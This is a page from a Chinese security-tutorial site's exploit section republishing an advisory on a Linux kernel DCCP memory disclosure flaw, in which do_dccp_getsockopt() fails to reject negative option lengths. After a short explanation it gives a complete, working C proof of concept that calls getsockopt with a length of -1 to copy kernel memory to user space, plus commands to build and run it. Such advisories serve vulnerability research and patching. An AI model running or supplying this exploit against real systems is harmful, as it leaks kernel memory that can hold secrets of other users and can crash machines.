• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链
您的位置:首页 > 网络安全 >Exploit > Linux Kernel

Linux Kernel

作者:佚名 字体:[增加 减小] 来源:互联网

佚名 向大家分享了Linux Kernel ,其中包含linux kernel官网,kernel,linux kernel下载,linux,linux kernel是什么等知识点,遇到此问题的同学们可以参考下
/*
Linux Kernel DCCP Memory Disclosure Vulnerability Synopsis: The Linux kernel is susceptible to a locally exploitable flaw
which may allow local users to steal data from the kernel memory. Vulnerable Systems: Linux Kernel Versions: >= 2.6.20 with DCCP support enabled.
Kernel versions <2.6.20 lack
DCCP_SOCKOPT_SEND_CSCOV/DCCP_SOCKOPT_RECV_CSCOV optnames for
getsockopt() call with SOL_DCCP level, which are used in the
delivered POC code. Author: Robert Swiecki
http://www.swiecki.net
robert@swiecki.net Details: The flaw exists in do_dccp_getsockopt() function in
net/dccp/proto.c file. -----------------------
static int do_dccp_getsockopt(struct sock *sk, int level, int optname,
char __user *optval, int __user *optlen)
...
if (get_user(len, optlen))
return -EFAULT;
if (len < sizeof(int))
return -EINVAL;
...
----------------------- The above code doesn't check `len' variable for negative values.
Because of cast typing (len < sizeof(int)) is always true for
`len' values less than 0. After that copy_to_user() procedure is called: -----------------------
if (put_user(len, optlen) || copy_to_user(optval, &val, len))
return -EFAULT;
----------------------- What happens next depends greatly on the cpu architecture in-use -
each cpu architecture has its own copy_to_user() implementation. On
the IA-32 the code below ... -----------------------
unsigned long
copy_to_user(void __user *to, const void *from, unsigned long n)
{
BUG_ON((long) n < 0);
----------------------- ... will prevent explotation, but kernel will oops due to
invalid opcode in BUG_ON(). On some other architectures (e.g. x86-64) kernel-space data will
be copied to the user supplied buffer until end-of-kernel space
(pagefault in kernel-mode occurs) is reached. POC: ----------------------- */ #include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <sys/mman.h>
#include <linux/net.h> #define BUFSIZE 0x10000000 int main(int argc, char *argv[])
{
void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (!mem) {
printf("Cannot allocate mem\n");
return 1;
}
/* SOCK_DCCP, IPPROTO_DCCP */
int s = socket(PF_INET, 6, 33);
if (s == -1) {
fprintf(stderr, "socket failure!\n");
return 1;
}
int len = -1;
/* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
int x = getsockopt(s, 269, 11, mem, &len); if (x == -1)
perror("SETSOCKOPT");
else
printf("SUCCESS\n"); write(1, mem, BUFSIZE); return 0;
} //-----------------------
//make poc; ./poc | strings
//-----------------------
</div>

您可能想查找下面的文章:

  • Linux Kernel

相关文章

  • MojoPersonals (mojoClassified.cgi mojo) Blind SQL Injection Exploit
  • Joomla Component n-forms 1.01 Blind SQL Injection Exploit
  • Maian Events 2.0 Insecure Cookie Handling Vulnerability
  • Arctic Issue Tracker 2.0.0 (index.php filter) SQL Injection Exploit
  • LoveCMS 1.6.2 Final Remote Code Execution Exploit
  • NaviCOPA Web Server 2.01 Remote Buffer Overflow Exploit (meta)
  • Ultrastats
  • VMware Workstation (hcmon.sys 6.0.0.45731) Local DoS Vulnerability
  • HRS Multi (picture_pic_bv.asp key) Blind SQL Injection Exploit
  • MojoAuto (mojoAuto.cgi mojo) Blind SQL Injection Exploit

文章分类

  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链

最近更新的内容

    • phsBlog 0.2 Bypass SQL Injection Filtering Exploit
    • Maian Greetings 2.1 Insecure Cookie Handling Vulnerability
    • e107 Plugin BLOG Engine 2.2 Blind SQL Injection Exploit
    • Sports Clubs Web Panel 0.0.1 Remote Game Delete Exploit
    • MS Internet Explorer (FTP Server Response) DoS Exploit
    • CJ Ultra Plus
    • NCTsoft AudFile.dll ActiveX Control Remote Buffer Overflow Exploit
    • NoName Script
    • Sagem Routers F@ST Remote CSRF Exploit (dhcp hostname attack)
    • DESlock 3.2.7 (vdlptokn.sys) Local Denial of Service Exploit

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有